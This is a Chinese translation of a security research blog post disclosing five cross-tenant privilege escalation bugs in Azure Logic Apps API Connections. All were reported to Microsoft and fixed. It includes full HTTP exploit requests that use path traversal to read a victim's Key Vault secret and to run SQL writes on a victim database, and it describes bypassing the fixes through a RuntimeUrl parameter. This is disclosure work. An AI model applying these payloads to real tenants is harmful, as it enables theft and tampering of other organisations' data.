Azure 最薄弱的环节:五起完整的跨租户入侵

Azure Logic Apps API 连接中的五个跨租户权限提升漏洞,从路径遍历开始,最终到达根 CA。

中文
复制
Azure 门户里一次 Logic App 运行的截图,右侧响应体被红框圈出,里面是别的租户的 Key Vault 机密 victimsecret

在之前的博客文章《Azure 最薄弱的一环?》和《Azure 最薄弱的一环 · 完整的跨租户入侵》中,我概述了 Azure API Connections(Azure Logic Apps 的一部分)背后严重不安全的架构,以及利用这些固有缺陷实施的一次完整跨租户入侵。现在,我又带来了这个系统中的更多漏洞,每一个都能为攻击者提供同样的原语。这些漏洞总共为我带来了 20 万美元的进账。

我还在 Blue Hat Asia 2026 上做了一场演讲,详细讲述了这些内容,录像发布后我会在这里补上链接。

TL;DR

API Connections 允许任何人完全入侵全球任意其他连接,从而获得对所连接后端的完整访问权限。这包括对 Key Vault 和 Azure SQL 数据库的跨租户入侵,以及任何其他外部连接的服务,比如 Jira 或 Salesforce。真正阻止漏洞利用的,只是各个系统上层层叠加的输入校验,但正如你将看到的,要在这里覆盖所有边界情况确实非常困难。

架构

如果你还没读过这个系列的前几篇,我建议先去看看,《Azure 最薄弱的一环?》第 1 部分和《Azure 最薄弱的一环 · 完整的跨租户入侵》。不过如果你不感兴趣,我会先过一遍架构中最重要的部分。

从微软的文档中,我们可以看到一张相当耐人寻味的图,展示了 API Connection 架构是如何构建的。

微软有文档记录的连接器基础设施

这张图基本把理解系统运作所需的全部信息都讲清楚了,做这张图的人值得点赞。

它的工作方式是这样的。

  1. 一个逻辑应用(左下角的符号)向一个共享的 Azure API Management 实例发起查询
  2. API Management 实例先检查该连接器类型的 swagger(OpenAPI)定义,确认这是一个有效的操作
  3. 随后发生某种密钥交换,输入的 token(即密钥)被换成后端服务所配置的 token
  4. API Management 实例随后用这个新 token 调用后端实例

由此可以推断,只要能诱使 API Management 实例去操作一个不属于我们的连接,我们就能实际用上受害者连接所配置的 token,去调用他们的后端服务。

这个服务实际上可以是任何东西。如这里所示,后端服务的清单实际上没有边界,其中包含不少 Azure 服务。

图虽然画得好,却漏掉了一个关键点,而我们在本系列第二部分已经充分利用了它。通过 ARM REST API 的 DynamicInvoke 或 /extensions/proxy/ 端点,我们可以经由 ARM 直接查询 APIM 服务。我擅自把图更新了一下,以反映这一点。

包含 Azure Resource Manager 的更新连接器架构

考虑到这一点,再加上作为资源管理器的 ARM 基本能访问所有资源,利用路径就很清楚了。我们要诱使调用服务去查询一个不属于我们的连接,从而完全控制后端服务。

需要说明的是,搭建这些连接的人当然可以把访问令牌或密钥的权限限定得很小,让 API Connection 在后端只拥有最低权限。但我猜很少有人会这么做。OAuth 连接用的肯定始终是最初建立连接那个人的令牌。至于 API 密钥的情况,谁又会费心去做最小权限限定呢?至少 Microsoft 不会。

初始利用

我在 API Connection 中实现的第一个跨租户利用(实际上也是整个 Azure 里的第一个),已经在第 2 部分里部分描述过了。回顾一下,下面是一个示例 payload,用我自己连接的 DynamicInvoke 端点读取了另一个租户的 Key Vault。

POST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 147

{
 "request":{
 "method":"get",
 "path":"path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/fd8d0f4f4069495991ccb4974f96a1ed/secrets/victimsecret/value"
 },
}
HTTP/2 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 1329

{
 "response": {
 "statusCode": "OK",
 "body": {
 "value": "dontreadme",
 "name": "victimsecret",
 "version": "7914d45aa60342809fb8cc12dc68b10e",
 "contentType": null,
 "isEnabled": true,
 "createdTime": "2025-04-04T05:38:26Z",
 "lastUpdatedTime": "2025-04-04T05:38:26Z",
 "validityStartTime": null,
 "validityEndTime": null
 },
 "headers": {
 <Headers>
 }
 }
}

可以看到,这是一个相当明显的路径遍历漏洞。这也印证了我们此前的假设。当请求从 ARM 发往 APIM 实例时,它拥有对所有连接的权限,无论操作的是哪一个。

进一步利用

我报告这个漏洞几周后,它被标记为已修复。我再次尝试时,迎面而来的是下面这条错误信息。

通过限制路径修复的漏洞

我考虑过这个修复是否足够。它似乎只是限制了允许的路径,而没有解决底层的令牌问题,所以我猜总有办法绕过。

关于 ARM API 有一个有趣的小事实。在某些情况下,它可能并不像你以为的那样是个黑盒。相关代码有时就藏在资源类型本身里。我不知道这些代码是否真的会在那些机器上执行,还是只是作为产物被一并打包,但它是座有趣信息的大金矿。于是我创建了一个 Standard Logic App(它提供完全专用的主机),SSH 登进去,把代码提取了出来。结果你猜怎么着。

验证代码路径包含对 ../ 的检查

你能看出他们实际修复了什么吗?

其实,这里更有意思的是我偶然发现的一点,我甚至没有专门去找。在搜索 DynamicInvoke 的实际代码时,映入眼帘的不只是这一个公开函数,而是四个。

在Dynamic Invoke旁边找到的其他函数定义

这些函数完全没有文档,我在任何地方都找不到相关引用。不过它们可以被访问到,而且就在同一条路径上。所以,比如要访问这里的 DynamicList,只需把 URI 中的 dynamicInvoke 改成 DynamicList。

他们那个草率的黑名单修复只覆盖了 DynamicInvoke,既然如此,我推断这些函数只要功能相同,就同样存在漏洞。所需的参数和返回值就不在这里赘述了,利用方法其实基本一样,只是 payload 稍微复杂一些。对于 DynamicList,需要逐个指定每个路径参数,还要做点额外处理才能拿到结果,但逻辑是相通的。比如要通过受害者的连接对其 SQL 服务器实现跨租户写入,下面这样的 payload 就可以。

POST /subscriptions/162fc6db-03cd-4fe8-ab44-dc0a947e74af/resourceGroups/api-connection/providers/Microsoft.Web/connections/custom_validator/DynamicList?api-version=2018-07-01-preview&_=1765372176638 HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Length: 524
Content-Type: application/json

{
 "dynamicInvocationDefinition": {
 "operationID": "nine",
 "parameters": {
 "one": {
 "value": ".."
 },
 "two": {
 "value": ".."
 },
 "three": {
 "value": "sql"
 },
 "four": {
 "value": "88d28f5ff7b642cfb91df184938d074c"
 },
 "five": {
 "value": "v2"
 },
 "six": {
 "value": "datasets"
 },
 "seven": {
 "value": "victimservice.database.windows.net,VictimDatabase"
 },
 "eigth": {
 "value": "query"
 },
 "nine": {
 "value": "sql"
 },
 "query": {
 "value": {
 "query": "Insert INTO MySecrets VALUES ('NewEvilSecrets', 3)"
 }
 }
 },
 "ItemsPath": "ResultSets/Table1",
 "ItemValuePath": "secrets",
 "ItemTitlePath": "value"
 }
}

很容易看出,这里的头几个参数先执行路径穿越,然后对数据库执行任意 SQL 查询。

我最初只报告了 DynamicList 这一种情况,希望他们会对 DynamicInvoke 做类似的修复,这样我还能再报告另外两个。遗憾的是,他们的修复只是把这些端点全部封禁。除此之外似乎没有其他缓解措施,所以这些端点一旦重新开放,我认为它们仍然存在漏洞。

进一步利用

在这些动态调用里折腾路径,到这里似乎已经走到头了。DynamicInvoke 上的路径限制我绕不过去,其他端点也都被封了。我需要的是另一条入口。有天我正准备睡觉,忽然想到自己一直忽略了 Logic Apps 本身。我意识到,Consumption 和 Standard 两种 Logic Apps 在创建连接流程上其实有一个重要区别。最明显的一点是,Consumption Logic Apps 的工作流与其他一堆工作流共用同一位置,创建的是 Version 1 连接;而运行在专用主机上的 Standard Logic Apps 创建的是 Version 2 连接。下面的示意图展示了两种流程之间更细微的差异。

V2 连接创建流程
V1 连接创建流程

看出区别了吗?显然,这样写出来之后,问题就很清楚了。使用 Standard Logic App 时,我们创建好资源、给后端服务器加上所需的身份验证之后,再用它的托管标识授权这个特定的逻辑应用去访问。但换成 Consumption Logic App,就没有这样的标识可以授权,因为它不归我们控制。这或许也说得通,既然没法授权,那就不授权。

我意识到,这意味着每个 Consumption Logic App 都隐式拥有对每一个 Version 1 API Connection 的访问权限;唯一阻止我们利用这一点的,只能是某种输入校验。

Logic App 工作流的经典视图对输入的限制相当严格,但 API 端点以及 GUI 里的 Code 视图都能让我们对输入多折腾一番。

逻辑应用代码视图,可实现更精细的控制

这样我们就能更仔细地查看这些输入、编辑它们,甚至再添加更多。把引用的 connector 改成受害者的连接,这个显而易见的伎俩行不通,因为运行时会对连接是否属于你做大量校验。不过代码库在我们手上,可以试着找出所有合法参数。我没费多少工夫就发现了 host.api.RuntimeUrl 参数。

我实在想不通这个参数为什么会被加进来,也想不通它为什么至今仍被接受,但它的行为和你预期的一样。在对 host.connection 中引用的连接做完一系列校验之后,你可以指定它改用完全不同的东西,而不是该连接里写死的 runtimeUrl。只要主机名以 azure-apihub.net 结尾,它还会带上所需的 Authorization 头。

使用不同的 runtimeUrl 而不是连接所用的那个

那么,这个工作流运行时会发生什么?

受害者的秘密在运行主体中被返回

眼尖的读者可能已经注意到,漏洞利用中使用的 runtimeUrl 并不只是 connectionId。这是因为 URI 中会被追加一些额外的元素,但这对我们没有影响;漏洞利用依然照常生效。

天降甘露

我当然又把这件事报告给了 Microsoft,他们花了一些时间进行修复。修复终于上线后,漏洞利用返回了一条错误信息。

The host API runtime URL is not valid for the API connection '/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/keyvault-1'. The runtime URL path must match the expected API endpoint 'https://logic-apis-norwayeast.azure-apihub.net/apim/keyvault/cbfb0f4313144117a7440368902bb871?' for the referenced connection. Either omit the 'host.api' input property, or correct the runtime URL to match the API associated with the connection.

除了这条信息长得过分之外,这个修复看起来相当合适。运行时 URL 必须与预期完全一致,否则免谈。除了干脆把参数整个删掉之外,这已经算是相当合理的做法了。当然,除非它检查这个值的时机不对。

RuntimeUrl 中的路径遍历

再试一次,结果还是一样。问题在于,校验发生在路径规范化之前,所以运行时认为这个 URI 指向我引用的连接,而 APIM 实例看到的却是另一回事。

就这样,我又拿到了一个严重漏洞。

事情还没完。Microsoft 好不容易针对这个路径遍历凑出一个修复之后,奇怪的事情发生了。原本的 RuntimeUrl 路径不再被校验,于是那个攻击又能用了。我本想放几张图,但图和上面的一模一样,各位自己脑补吧。

报告与奖励

API Connections 一共让我在 Azure 里挖到五个严重的提权漏洞,大概比预想的多。这里报告的所有漏洞都在我提交后的一段合理时间内修复了,期间虽然和 MSRC 有过一些分歧,但总体而言,我对结果相当满意。

来源: Binary Security← 返回首页